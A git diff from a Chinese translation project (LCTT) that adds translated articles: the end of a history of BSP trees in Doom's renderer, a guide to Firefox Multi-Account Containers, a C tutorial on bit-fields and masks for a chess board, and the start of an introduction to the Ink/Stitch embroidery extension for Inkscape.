1。这种矩阵展示出基于三个不同平面和摄像机视角位置的三个物体之间的关系 —— 如果物体 a~i~ 遮挡了物体 a~j~,那么 a~ij~ 在此矩阵中的数值等于 1。 + +![][4] + +研究人员指出,这种矩阵可以应用到硬件中,对每一帧进行重新评估。该矩阵基本上可以用作大型的开关,或者一种预置的 Z 缓冲区。在绘制给定的物体时,如果在物体所在列上得出数值 1,并且所在行已经在绘制中,那么物体被遮挡的部分就不会绘制出来。 + +不过,该矩阵方法的主要缺点在于,为了在场景中表示出 n 个物体,你需要一个尺寸为 n^2^ 的矩阵。于是,研究人员们继续深入,探究将遮挡矩阵表示为“优先级列表”的可行性,该列表的尺寸是 n,可确定物体绘制的顺序。他们随即发现,诸如上图此类场景根本无法确定顺序(因为它存在循环阻塞的现象)。因此,他们花了很多时间来阐明“合适”与“不合适”场景之间的数学区别。最后,他们得出了一个结论:至少对于“合适的”场景下,优先级列表是可以制作出来的;而对场景设计师来说,避免设计出“不合适”的场景也不是一件难事。但是,他们并没有说明如何生成该列表。可以说,这份 1969 年的研究的首要贡献在于提出了:至少,在 _理论上_,可以采用平面分割的方法,对场景中的物体进行渲染排序。 + +直到 1980 年,一份题为《基于优先级树结构的可见表面生成》的论文提出了解决该问题的具体算法。在这份论文中,作者 亨利·福克斯Henry Fuchs泽维·凯德姆Zvi Kedem 以及 布鲁斯·内勒Bruce Naylor 介绍了 BSP 树。他们指出,这种新的数据结构“可以替代十年前首次使用,但由于一些问题未得到广泛发展的方案”(即前文 1969 年美国空军相关研究中的方案)。[^3] BSP 树一经生成,即可用于确定场景中物体的优先级顺序。 + +三人在论文中对 BSP 树的工作原理给出了相当可读的解释。但在本文,我将尝试使用更加通俗的语言,介绍给大家。 + +首先,在场景中选定一个多边形,将该多边形所在的平面作为分割平面。同时,该多边形充当树的根节点。场景中剩下的多边形会分散在分割平面的两侧。位于分割表面“前方”或者与分割平面相交后位于“前”半部分的多边形落在了根节点左侧的左子树上;位于分割表面“后方”或者与分割平面相交后位于“后”半部分的多边形落在了右子树上。接着,递归重复这一过程:在左子树和右子树上各选定一个多边形,作为各自空间新的分割平面,继而二分出来更多的子空间和子树。等到全部的多边形均选定之后,二叉空间分割也就结束了。 + +假设你想由后向前将场景中的几何图形进行渲染。(这就是所谓的“画家算法painter's algorithm”。因为在绘制时,距离摄像机较远的多边形会被距离摄像机较近的多边形所覆盖,借此正确进行渲染任务。)如果想要实现这一算法,必须按顺序遍历 BSP 树,左右子树的渲染顺序由摄像机视角与节点所在分割平面的位置关系决定的。因此,针对树上的每个节点,首先渲染距离分割平面较“远”一侧的所有多边形,接着是位于平面上的多边形,最后是距离平面较“近”一侧的所有多边形 —— “远”与“近”相对于摄像机视角而言。根据前文,距离分割平面较远一侧的多边形无法遮挡近侧的物体,所以这种方法可以解决 VSD 问题。 + +下图表示一个简单的二维场景的 BSP 树的构造与遍历过程。在二维中,分割平面变成了分割线,但就基本原理而言,与复杂的三维场景并无二致。 + +![][6] + +第一步:根分割线落在 D 墙上,将剩下的几何图形分为两组。 + +![][7] + +第二步:继续分割位于 D 墙两侧的空间。C 墙是其中一侧的唯一一堵墙壁,因此无需再分。另一侧,B 墙形成新的分割平面。因为 A 墙与新的分割平面相交,所以必须将其分割为两堵墙。 + +![][8] + +第三步:参照右上方视角,由后向前对墙壁进行排序,对执行画家算法很有帮助。这就是树的顺序遍历过程。 + +福克斯、凯德姆以及内勒多次强调了 BSP 树的优势:它只需构建一次。可能有些难以置信,但实际上无论摄像机视角位于何处,同一棵 BSP 树都可以用来渲染一个场景。只要场景中的多边形没有移动,BSP 树就不会失效。因此,BSP 树在实时渲染任务中非常实用 —— 构建树时的所有艰巨任务都可以在渲染工作开展之前完成。 + +同时,三人也提到了一项需要进一步深入研究的问题:究竟怎样才能构建出一棵 “高质量的” BSP 树?BSP 树的质量取决于用作分割平面的多边形的选择。我在前文跳过了这一问题,不过如果用作分割平面的多边形与其他多边形相交,那么为了让 BSP 算法发挥作用,必须将相交的多边形一分为二,这样两部分就可以分在不同的空间。但是如果这种现象反复出现,BSP 树的构建势必会大幅增加场景中多边形的数量。 + +内勒后来在其 1993 年的论文《构建高质量的分割树》中提及这一问题。卡马克的同事,id Software 的共同创始人 约翰·罗梅洛John Romero 指出,这篇论文是卡马克在《毁灭战士》中引入 BSP 树时读到的论文之一。[^4] + +### 《毁灭战士》中的 BSP 树 + +别忘了,卡马克首次为《毁灭战士》设计渲染器时,通过让渲染器渲染玩家所在房间之外的临近房间,试图为关卡几何图形建立一套渲染顺序。对此,BSP 树是个不错的选择,因为在玩家进入之前的房间(区域)时,BSP 树能够避免让渲染器重复劳动,从而节省 CPU 资源。 + +实际上,“将 BSP 树引入《毁灭战士》”意味着将 BSP 树生成器引入《毁灭战士》的关卡编辑器中。当完成一个《毁灭战士》的关卡的制作时,BSP 树就会在关卡几何图形的基础上生成。根据程序员 法比安·桑格勒德Fabien Sanglard 的说法,在原版《毁灭战士》中,一个关卡的 BSP 树生成时间需要 8 秒,全部关卡合计共需 11 分钟 [^5]。之所以生成时间较长,部分原因在于卡马克所用的 BSP 生成算法,该算法尝试使用各种启发式方法找出 “高质量” BSP 树。在运行时,8 秒的延时可能让人无法接受;但是离线等 8 秒,时间并不算长,尤其是考虑到 BSP 树提升了渲染器的性能。为每个关卡生成的 BSP 树将在游戏启动时作为关卡数据载入。 + +卡马克对 1980 年论文中提出的 BSP 树算法进行了改造,因为在《毁灭战士》开始运行时,当前关卡的 BSP 树就会读取到内存中,渲染器通过 BSP 树由前向后绘制物体,而非由后向前进行绘制。福克斯三人在那篇论文中演示了 BSP 树可用于执行由后向前的画家算法,但是画家算法会造成许多重复的绘制任务,对于 IBM 兼容机来说负担较大。因此,《毁灭战士》的渲染器换了个方向,首先绘制距离玩家较近的图形,之后再绘制离玩家较远的。这种反向排序很容易通过 BSP 树来实现,因为你可以在树的每个节点都进行反向遍历。为了避免绘制出来的远处图形遮挡到近处的图形,《毁灭战士》的渲染器使用了一种隐式 Z 缓冲区,这种缓冲区不仅具备普通 Z 缓冲区的优势,而且对内存的要求也较低。这种 Z 缓冲区有两组数组,一组记录水平方向的遮挡关系,另两组记录自屏幕顶部和底部的垂直方向的遮挡关系。《毁灭战士》的渲染器就算不使用实际的 Z 缓冲区也无伤大雅,因为从技术上来看它并不是真正的 3D 游戏。BSP 树数据结构的成本虽然不高,但却能够起作用,其原因在于《毁灭战士》不会发生以下问题:水平方向的遮挡数组能够发挥作用,是因为该游戏中没有倾斜的墙体;垂直方向的遮挡数组能够发挥作用,是因为该游戏不存在有着一上一下两扇窗户的墙体。 + +剩下比较棘手的问题是如何将《毁灭战士》中处于运动中的角色融入到借助 BSP 树绘制的静止的关卡几何图形中。该游戏中的敌人不可能纳入 BSP 树之中,因为他们会移动,而 BSP 树只对静止的几何形状起作用。所以渲染器首先绘制静止的关卡几何图形,同时与另一个内存使用效率较高的数据结构协作,记录屏幕上分割出来用于绘制的区域。之后,渲染器按照由后往前的顺序绘制敌人,并消除被屏幕上的区域遮挡住的敌人。这一过程与使用 BSP 树进行渲染相比,效果稍差一些。但是由于关卡中能看到的敌人的数量少于几何图形的数量,所以速度并不是一个严重的问题。 + +将 BSP 树应用到《毁灭战士》中可谓一大成功。卡马克能够想到 BSP 树是解决 VSD 问题的最佳方案,无疑非常高明。但是这可以称得上是天才之举吗? + +桑格勒德在其关于《毁灭战士》游戏引擎的书中引用了罗梅洛的话:内勒的论文《构建高质量的分割树》主要讲述使用 BSP 树消除 3D 模型的背面。[^6] 根据罗梅洛所言,卡马克认为这种算法对《毁灭战士》依然有效,所以他放手一试,将 BSP 技术应用到了该游戏中。不过这话说得有些奉承的意味 —— 意在暗示卡马克在别人仍然使用 BSP 树渲染静止的场景时,发现该技术可以用于实时游戏领域。在《Doom 启示录》中也有给卡马克戴高帽的故事。该书作者库什纳认为,卡马克在阅读内勒的论文之后,问了自己,“如果使用 BSP 技术创造一整个虚拟世界,而不仅仅是一张 3D 图像,会怎么样呢?” [^7]。 + +这些“片面之词”忽视了 BSP 树的发展历史。当美国空军研究人员开始意识到场景分割可能会加快渲染任务的时候,他们就对提升 _实时_ 渲染的速度产生了兴趣,毕竟他们当时试图创建一个飞行模拟器。1980 年,同样的案例再次出现在了福克斯等人的论文中,他们探讨了 BSP 树如何应用于飞行模拟器中,帮助飞行员进行训练:飞行员用它来反复练习将飞机降至同一空港。由于空港的地形不会发生改变,BSP 树只需生成一次,即可一劳永逸。很明显,他们考虑的是实时模拟。在论文的引言部分,福克斯等人还谈到实时图形系统必须在至少 1/30 秒内生成一张图像,由此激励了他们的研究。 + +因此,卡马克不是第一个想到在实时图形模拟中应用 BSP 树的人。诚然,设想与付诸实践是两码事。但是即使在实施的过程中,卡马克受到的帮助与指导可比人们想象的要多得多。至少是到这篇文章写成之时,BSP 树的 [维基百科词条][13] 页面显示,卡马克参考了 1991 年 Chen戈登Gordon 的一篇论文,以及 1990 年的一本教材《计算机图形学:原理及实践》。尽管该页面并未提供引用信息,但可信度没什么问题。陈和戈登的论文介绍了运用 BSP 树由前向后的渲染方法,这种方法与《毁灭战士》中用到的方法基本一致,还包括了我称之为“隐式 Z 缓冲区”的数据结构,可用于防止远处的图形在绘制时遮挡近处的图形。《计算机图形学:原理及实践》详细介绍了 BSP 树,以及一些构建并展示 BSP 树的伪代码(非常感谢我大学的图书馆,让我能够一睹这本教材 1990 年的版本)。因为这本书是计算机图形学的经典之作,所以卡马克很可能也有一本。 + +然而,卡马克发现自己遇到一个新问题:如何让第一人称射击游戏在一台 CPU 甚至都无法进行浮点操作的电脑上运行呢?通过调查研究,他证明了 BSP 树的数据结构非常适用于实时电子游戏渲染。尽管 BSP 树早已提出,而且到了卡马克的时代,相关理论已经非常成熟了,但我始终认为,卡马克的做法可谓惊人之壮举。也许,得到人们称誉的应该是整个《毁灭战士》的游戏引擎,它的确非常精致。我在前文也提及过,但是桑格勒德的《游戏引擎黑皮书:毁灭战士Game Engine Black Book: DOOM》 很好地讲解了这款游戏引擎的非凡之处,以及这些优势相互契合之法。要明白,VSD 问题只是卡马克在编写《毁灭战士》游戏引擎时需要解决的诸多问题之一。不得不说,面对不为大多数程序员所知的复杂的数据结构,卡马克能够查阅相关文献,将其付诸实践,仅此一点就足以说明其技术之精湛、匠心之独到。 + +_如果你喜欢这篇文章,欢迎关注推特 [@TwoBitHistory][14],也可通过 [RSS feed][15] 订阅,获取最新文章(每四周更新一篇)。_ + +[^1]: Michael Abrash, “Michael Abrash’s Graphics Programming Black Book,” James Gregory, accessed November 6, 2019, .  +[^2]: R. Schumacher, B. Brand, M. Gilliland, W. Sharp, “Study for Applying Computer-Generated Images to Visual Simulation,” Air Force Human Resources Laboratory, December 1969, accessed on November 6, 2019, .  +[^3]: Henry Fuchs, Zvi Kedem, Bruce Naylor, “On Visible Surface Generation By A Priori Tree Structures,” ACM SIGGRAPH Computer Graphics, July 1980.  +[^4]: Fabien Sanglard, Game Engine Black Book: DOOM (CreateSpace Independent Publishing Platform, 2018), 200.  +[^5]: Sanglard, 206.  +[^6]: Sanglard, 200.  +[^7]: David Kushner, Masters of Doom (Random House Trade Paperbacks, 2004), 142.  + +-------------------------------------------------------------------------------- + +via: https://twobithistory.org/2019/11/06/doom-bsp.html + +作者:[Two-Bit History][a] +选题:[lujun9972][b] +译者:[aREversez](https://github.com/aREversez) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://twobithistory.org +[b]: https://github.com/lujun9972 +[1]: tmp.eMwywbWYsp#fn:1 +[2]: https://youtu.be/HQYsFshbkYw?t=822 +[3]: tmp.eMwywbWYsp#fn:2 +[4]: https://twobithistory.org/images/matrix_figure.png +[5]: tmp.eMwywbWYsp#fn:3 +[6]: https://twobithistory.org/images/bsp.svg +[7]: https://twobithistory.org/images/bsp1.svg +[8]: https://twobithistory.org/images/bsp2.svg +[9]: tmp.eMwywbWYsp#fn:4 +[10]: tmp.eMwywbWYsp#fn:5 +[11]: tmp.eMwywbWYsp#fn:6 +[12]: tmp.eMwywbWYsp#fn:7 +[13]: https://en.wikipedia.org/wiki/Binary_space_partitioning +[14]: https://twitter.com/TwoBitHistory +[15]: https://twobithistory.org/feed.xml +[16]: https://twitter.com/TwoBitHistory/status/1164631020353859585?ref_src=twsrc%5Etfw +[17]: tmp.eMwywbWYsp#fnref:1 +[18]: tmp.eMwywbWYsp#fnref:2 +[19]: tmp.eMwywbWYsp#fnref:3 +[20]: tmp.eMwywbWYsp#fnref:4 +[21]: tmp.eMwywbWYsp#fnref:5 +[22]: tmp.eMwywbWYsp#fnref:6 +[23]: tmp.eMwywbWYsp#fnref:7 diff --git a/published/202208/20210809 What is Firefox Multi-Account Containers- Why and How to Use It.md b/published/202208/20210809 What is Firefox Multi-Account Containers- Why and How to Use It.md new file mode 100644 index 0000000000..b3529800f5 --- /dev/null +++ b/published/202208/20210809 What is Firefox Multi-Account Containers- Why and How to Use It.md @@ -0,0 +1,127 @@ +[#]: subject: "What is Firefox Multi-Account Containers? Why and How to Use It?" +[#]: via: "https://itsfoss.com/firefox-containers/" +[#]: author: "Hunter Wittenborn https://itsfoss.com/author/hunter/" +[#]: collector: "lujun9972" +[#]: translator: "hanszhao80" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14911-1.html" + +浅议 Firefox 多账户容器 +====== + +随着在设备上使用各种程序的用户的需求变得越来越复杂,程序本身也需要跟上用户的现实需求和未来期望。 + +我发现我每天需要的东西是一个在网页浏览器保持登录多个账号的简单方法。我 _可以_ 根据需要对我的每个账号进行登录和注销操作,但在短时间内切换多个账号时,这变得非常乏味。 + +最初,我使用谷歌浏览器,它拥有管理多个帐户的能力。这很有效,但管理起来略显繁琐,而且明明只需 _一个_ 谷歌账号就能搞定的事却要创建一个新的谷歌账号来完成,这显得有点儿笨拙。 + +这是我转而使用 Firefox 多账户容器Multi-Account Containers 功能的原因。它不仅比我在谷歌 Chrome 浏览器上的设置灵活得多,而且我还使用了由我的浏览器开发者自己创建的工具,从而在整体上获得了更流畅和更简单的体验。 + +![Firefox 中的容器图示][1] + +### Firefox 中的多帐户容器是什么? + +如果你想将数字生活的各个部分彼此分开,多账户容器也非常有效。通过使用容器,你在一个容器中的浏览活动不会与其他容器共享。这种隔离意味着你可以在不同容器中登录同一网站上的两个不同帐户。你的登录会话、网站偏好和跟踪数据将被限制在你使用某个网站的容器中。 + +它还有什么其他优势?想象一下,你在亚马逊或其他电子商务网站上购物。你浏览了一些商品,但没有购买任何东西。现在,如果你浏览网络,你会看到与你浏览的产品相关的广告。尽管有广告拦截器,一些网站仍会显示广告。使用容器,你可以将你的购物网站与其他网站分开。(LCTT 校注:甚至根据你的浏览历史,你再次访问同一网站时看到的价格可能会被“宰熟”——反复浏览代表了你的购买倾向。) + +再给大家分享一个例子。Firefox 默认提供一个 Facebook 容器。默认情况下,此容器包括 Facebook、Messenger 和 Instagram 网站。这意味着当你打开这三个网站中的任何一个时,它们都只会在“Facebook 容器”中打开。因此,Facebook 将无法跟踪你在其他网站上的活动。 + +这是 [很少有人知道或使用的 Firefox 功能][2] 之一。 + +### 使用多账户容器 + +安装 Firefox 多账户容器是一个非常简单的过程,只需点击几下。 + +首先,前往 Firefox 附加组件网站上的 [扩展程序页面][3]。之后你唯一需要做的就是单击 “添加到 Firefox” 按钮。 + +![][4] + +安装完成!现在我们可以实际使用一下这个新的扩展。 + +可能你还没有注意到,你的搜索栏右侧应该会出现一个新图标: + +![][5] + +这是你将用于与 Firefox 多帐户容器交互的图标。如果你单击该图标,你将看到一个小菜单: + +![][6] + +让我们使用这个扩展尝试一些例子,看看多账户容器是如何工作的。 + +#### 设置容器 + +首先,我们需要生成一个容器。点击多账户容器菜单中的 `管理容器Manage Containers,然后点击 新建容器New Container。 + +![][7] + +![][8] + +接着输入新容器的名称,选择颜色和图标。然后,点击 “OK” 保存新容器。 + +![][9] + +大功告成!我们现在可以返回主菜单在新容器中打开一个新选项卡: + +![][10] + +你还会注意到新选项卡有一些样式,表示它正在容器内运行: + +![][11] + +#### 观察容器工作 + +现在让我们看看容器在使用时实际做了什么。 + +我们将在一个普通的浏览器选项卡中访问 Linode 管理网站,我已经在其中登录: + +![][12] + +现在让我们尝试在 Firefox 容器中打开相同的页面,此时我被重定向到 Linode 登录页面: + +![][13] + +为什么我被重定向了?因为现在我没有登录。这就是 Firefox 容器的乐趣之一:在一个浏览器会话中登录后,再进入一个容器,就好像你以前从未访问过该站点一样。 + +如果你在容器内完成对某个网站的登录,你从容器中访问该网站时将会保持登录状态。你还可以使用此功能从容器内登录网站,从而使该网站的所有数据与你的正常浏览器数据相隔开。 + +> 注意:你的浏览器历史记录本身之类的内容仍会暴露给你的正常浏览器会话。容器功能只是提供了一种方法来分离本文中提到的登录帐户等内容。 + +### 总结 + +对于那些在乎自己的隐私,或者只是想真正尝试对其系统的安全性进行严格控制的人来说,多账户容器被证明是一个很棒的功能。 + +例如,你可以在容器内登录你的谷歌帐户,谷歌永远不会知悉你在容器外的信息。 +对拥有多个帐户的人来说,此扩展程序是一个不错的选择。有了它无需为你要使用的每样东西创建单独的浏览器帐户。 + +好了,这就是 Firefox 的多帐户容器的基本知识。 + +需要任何帮助,或者只是有点问题?请随时在评论区指出。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/firefox-containers/ + +作者:[Hunter Wittenborn][a] +选题:[lujun9972][b] +译者:[hanszhao80](https://github.com/hanszhao80) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/hunter/ +[b]: https://github.com/lujun9972 +[1]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/08/Firefox-container.png?resize=800%2C450&ssl=1 +[2]: https://itsfoss.com/firefox-useful-features/ +[3]: https://addons.mozilla.org/en-US/firefox/addon/multi-account-containers/?utm_source=addons.mozilla.org&utm_medium=referral&utm_content=search +[4]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/08/firefox-containers-install-page.png?resize=800%2C366&ssl=1 +[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/08/firefox-containers-searchbar-icon-1.png?resize=800%2C48&ssl=1 +[6]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/08/firefox-containers-main-menu.png?resize=302%2C474&ssl=1 +[7]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/08/firefox-containers-manage-containers-1.png?resize=291%2C402&ssl=1 +[8]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/08/firefox-containers-new-container.png?resize=290%2C399&ssl=1 +[9]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/08/firefox-containers-new-container-itsfoss.png?resize=292%2C401&ssl=1 +[10]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/08/firefox-containers-opening-new-container.png?resize=290%2C398&ssl=1 +[11]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/08/firefox-containers-new-container-styling.png?resize=800%2C370&ssl=1 +[12]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/08/firefox-containers-linode.png?resize=800%2C114&ssl=1 +[13]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/08/firefox-containers-linode-login.png?resize=800%2C405&ssl=1 diff --git a/published/202208/20210823 Write a chess game using bit-fields and masks.md b/published/202208/20210823 Write a chess game using bit-fields and masks.md new file mode 100644 index 0000000000..db02788dab --- /dev/null +++ b/published/202208/20210823 Write a chess game using bit-fields and masks.md @@ -0,0 +1,152 @@ +[#]: subject: "Write a chess game using bit-fields and masks" +[#]: via: "https://opensource.com/article/21/8/binary-bit-fields-masks" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lujun9972" +[#]: translator: "FYJNEVERFOLLOWS" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14916-1.html" + +使用位字段和掩码写一个国际象棋游戏 +====== + +> 使用位字段和掩码是不用数据结构组合数据的常用方法。 + +![](https://img.linux.net.cn/data/attachment/album/202208/10/114605qzfzztj2uupb7zuw.jpg) + +假设你在用 C 语言写一个国际象棋游戏。追踪棋盘上棋子的一种方法是定义一个结构,该结构定义了棋盘上每个可能的棋子及其颜色,因此每个格子都包含该结构中的一个元素。例如,你可以将结构定义成下面这样: + +``` +struct chess_pc { +   int piece; +   int is_black; +} +``` + +有了这个数据结构,你的程序就会知道每个格子里是什么棋子及棋子的颜色。你可以快速识别出棋子是兵、车、马、象、后还是王,以及棋子是黑还是白。但是,有一种更直接的方法来跟踪这些信息,同时只用更少的数据和内存。与为棋盘上的每个方格存储两个 `int` 值的结构不同,我们可以存储单个 `int` 值,并使用二进制位字段和掩码来标识每个方格中的棋子和颜色。 + +### 比特和二进制 + +当使用位字段表示数据时,我们最好像计算机一样思考。让我们从列出可能的棋子开始,并为每个棋子分配一个数字。让我们进入下一个步骤,用二进制表示这个数字,也就是按照计算机追踪它的方式。记住,二进制数是由比特组成的,比特要么是 0,要么是 1。 + + * `00000000:` 空(0) + * `00000001:` 兵(1) + * `00000010:` 车(2) + * `00000011:` 马(3) + * `00000100:` 象(4) + * `00000101:` 后(5) + * `00000110:` 王(6) + +要列出一个棋盘上的所有棋子,我们只需要三个比特从右到左依次代表值 1、2 和 4。例如,数字 6 是二进制的 110。6 的二进制表示中的其他所有位都是 0。 + +一个聪明一点的方法:我们可以使用那些额外的总是为零的比特来跟踪一个棋子是黑还是白。我们可以使用数字 8(二进制 `00001000`)来表示棋子是否为黑色。如果这一位是 1,则代表该棋子是黑色;如果是 0,则代表该棋子是白色。这被称为**位字段**,稍后我们可以使用二进制**掩码**将其取出。 + +### 用位字段存储数据 + +要编写一个使用位字段和掩码的国际象棋程序,我们可以从以下定义开始: + +``` +/* 棋子 */ + +#define EMPTY 0 // 空 +#define PAWN 1 // 兵 +#define ROOK 2 // 车 +#define KNIGHT 3 // 马 +#define BISHOP 4 // 象 +#define QUEEN 5 // 后 +#define KING 6 // 王 + +/* 棋色 */ + +#define BLACK 8 // 黑 +#define WHITE 0 // 白 + +/* 掩码 */ + +#define PIECE 7 +``` + +当你为一个棋格赋值时,比如初始化棋盘,你可以赋一个 `int` 类型的值来跟踪棋子及其颜色。例如,要在棋盘的 `0,0` 位置存储棋子黑车,你可以使用下面的代码: + +``` +  int board[8][8]; +.. +  board[0][0] = BLACK | ROOK; +``` + +`|` 是二进制“或”(`OR`)操作符,这意味着计算机将合并两个数字的比特。对于每个比特的位置,如果**任意一个**数字的比特为 1,该位置比特的结果也是 1。`BLACK` 的值(8,即二进制下的 `00001000`)和 `ROOK` 的值(2,即二进制下的 `00000010`)的二进制或结果是二进制下的 `00001010`,即 10: + +``` +    00001000 = 8 + OR 00000010 = 2 +    ________ +    00001010 = 10 +``` + +类似地,要在棋盘的 `6,0` 位置存储一个白色兵,你可以这样做: + +``` +  board[6][0] = WHITE | PAWN; +``` + +这样存储的值就是 `WHITE`(0)和 `PAWN`(1)的二进制或的结果,也即是 1。 + +``` +    00000000 = 0 + OR 00000001 = 1 +    ________ +    00000001 = 1 +``` + +### 用掩码获取数据 + +在下棋过程中,程序需要知道棋格中的棋子和它的颜色。我们可以使用二进制掩码来分离这部分。 + +举个例子,程序可能需要知道棋局中棋盘上特定棋格的内容,例如位于 `board[5][3]` 的数组元素。这个是什么棋子,是黑的还是白的?为了识别棋子,使用二进制“与”(`AND`)操作符将元素的值与掩码 `PIECE` 结合起来: + +``` +  int board[8][8]; +  int piece; +.. +  piece = board[5][3] & PIECE; +``` + +二进制“与”(`AND`)操作符(`&`)将两个二进制值结合,这样对于任意位,如果两个数字中的那个位**都是** 1,那么结果也是 1。例如,如果 `board[5][3]` 的值是 11(二进制下的 `00001011`),那么 11 和 掩码 `PIECE`(7,二进制下的 `00000111`)二进制与的结果为二进制下的 `00000011`,也即 3。这代表马,马的值是 3。 + +``` +    00001011 = 11 +AND 00000111 = 7 +    ________ +    00000011 = 3 +``` + +解析棋子的颜色是一个简单的事情,只需要将棋子的值与 `BLACK` 位字段进行二进制与操作。比如,你可以写一个名为 `is_black` 的函数来确定棋子是黑还是白: + +``` +int +is_black(int piece) +{ +  return (piece & BLACK); +} +``` + +之所以可以这样,是因为 `BLACK` 的值为 8(二进制下的 `00001000`)。在 C 语言中,任何非零值都被视为 `True`,零总是 `False`。所以如果 `5,3` 处的棋子是黑色的,则 `is_black(board[5][3])` 返回 True 值(8);如果是白色的,则返回 False 值(0)。 + +### 位字段 + +使用位字段和掩码是不使用结构组合数据的常用方法。它们值得被程序员收藏到“工具包”中。虽然数据结构对于需要跟踪相关数据的有序编程是一种有价值的工具,但是使用单独的元素来跟踪单个的开或闭值(例如棋子的颜色)的效率较低。在这些情况下,可以考虑使用位字段和掩码来更高效地组合数据。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/8/binary-bit-fields-masks + +作者:[Jim Hall][a] +选题:[lujun9972][b] +译者:[FYJNEVERFOLLOWS](https://github.com/FYJNEVERFOLLOWS) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/life-chess-games.png?itok=U1lWMZ0y (Chess pieces on a chess board) diff --git a/published/202208/20210910 MAKE MORE with Inkscape - Ink-Stitch.md b/published/202208/20210910 MAKE MORE with Inkscape - Ink-Stitch.md new file mode 100644 index 0000000000..882fabf739 --- /dev/null +++ b/published/202208/20210910 MAKE MORE with Inkscape - Ink-Stitch.md @@ -0,0 +1,202 @@ +[#]: subject: "MAKE MORE with Inkscape – Ink/Stitch" +[#]: via: "https://fedoramagazine.org/make-more-with-inkscape-ink-stitch/" +[#]: author: "Sirko Kemter https://fedoramagazine.org/author/gnokii/" +[#]: collector: "lujun9972" +[#]: translator: "aREversez" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14935-1.html" + +Inkscape 扩展应用:Ink/Stitch +====== + +![MAKE more with Inkscape - Ink/Stitch][1] + +Inkscape 是 Fedora 设计团队最喜爱最常用的软件,它的功能可不止于制作精美的矢量图形。矢量图形(也就是 SVG 文件)可以帮助实现更多操作,许多软件也支持这一格式。不过,Inkscape 还有其他功能有待发掘。[本系列][2] 第一篇文章介绍了如何 [使用 Inkscape 生成 GCode 文件][3];本篇文章将探索 Inkscape 的另一项扩展功能:用于绣花设计的 [Ink/Stitch][4]。 + +### 绣花 DIY + +在过去数年里,DIY 风靡一时。可以说,这一现象始于廉价的 [3D 打印][5] 技术,以及后来的 [数控][6] 机床与激光切割机、激光雕刻机。这些设备都算不上非常昂贵。同时,绣花机等“传统”机器的价格也有下降。[家用绣花机现在只需 500 美元就能买到了][7]。 + +如果你不想买或者买不到绣花机,离你最近的 [创客空间][8] 一般也会有。即便是一台商用单头绣花机,价格也下降到了 5000 美元。对于购置绣花机这种投资来说,一般很快就能看到回报。 + +### 绣花设计软件 + +一些家用绣花机附有配套的绣花设计软件,不过大部分都只能在 Windows 系统上运行,就算该领域最常用的、独立于各绣花机制造商的软件 [Embird][9] 也是如此。不过,你也可以通过 Wine 来运行这些软件。 + +在 Linux 上,另一个办法就是使用 [Embroidermodde][10]。不过,该软件在 2014 年的募捐活动之后,就停止了开发活动。 + +到今天,只剩下一个办法:[Ink/Stitch][4] + +![The logo of the Ink/Stitch project][11] + +### 开源与绣花设计 + +绣花机价格高以及 Linux 用户少都怪不得制造商,毕竟为 Linux 开发应用的确不太值得。 + +#### 绣花文件格式问题 + +绣花机所用文件格式大量涌现,甚至还有一些制造商为自家机器定制了文件格式。在某些情况下,即便是一家制造商,可能也会使用多种文件格式。 + + * **.10o** – 丰田绣花机 + * **.100** – 丰田绣花机 + * **.CSD** – Poem、Huskygram 和胜家家用绣花缝纫机 + * **.DSB** – 百灵达绣花机 + * **.JEF** – 车乐美 MemoryCraft 10000 + * **.SEW** – 车乐美 MemoryCraft 5700、8000 和 9000 + * **.PES** – 兄弟和 Babylock 家用绣花缝纫机 + * **.PEC** – 兄弟和 Babylock 家用绣花缝纫机 + * **.HUS** – 好时运家用绣花缝纫机 + * **.PCS** – 百福家用绣花缝纫机 + * **.VIP** – 百福旧格式 & 好时运格式 + * **.VP3** – 百福家用缝纫机新格式 + * **.DST** – 田岛商用绣花缝纫机 + * **.EXP** – 美高商用绣花缝纫机 + * **.XXX** – Compucon 和 胜家家用绣花缝纫机 + * **.ZSK** – 美国市场的 ZSK 绣花机 + +关于绣花机会用到的文件格式,上面列出来的只是九牛一毛,可 [在此][14] 查看全部格式。如果你想进一步了解这些文件格式,可点击 [此处][15] 获取更多信息。 + +#### Ink/Stitch 文件格式 + +Ink/Stitch 最初使用的是 [libembroidery][12] 库,现在则使用 [pyembroidery][13] 库。在 pyembroidery 库的支持下,Ink/Stitch 目前可以读取以下格式:100, 10o, BRO, DAT, DSB, DST, DSZ, EMD, EXP, EXY, FXY, GT, INB, JEF, JPX, KSM, MAX, MIT, NEW, PCD, PCM, PCQ, PCS, PEC, PES, PHB, PHC, SEW, SHV, STC, STX, TAP, TBF, U01, VP3, XXX, ZXY 以及 TXT(内容为 GCode 代码)。 + +不过,Ink/Stitch 支持的储存格式则比较少:DST, EXP, JEF, PEC, PES, U01, VP3 and of course SVG, CSV 以及 TXT(内容为 GCode 代码)。 + +除了文件格式,绣花缝纫软件还需解决其它一些问题。 + 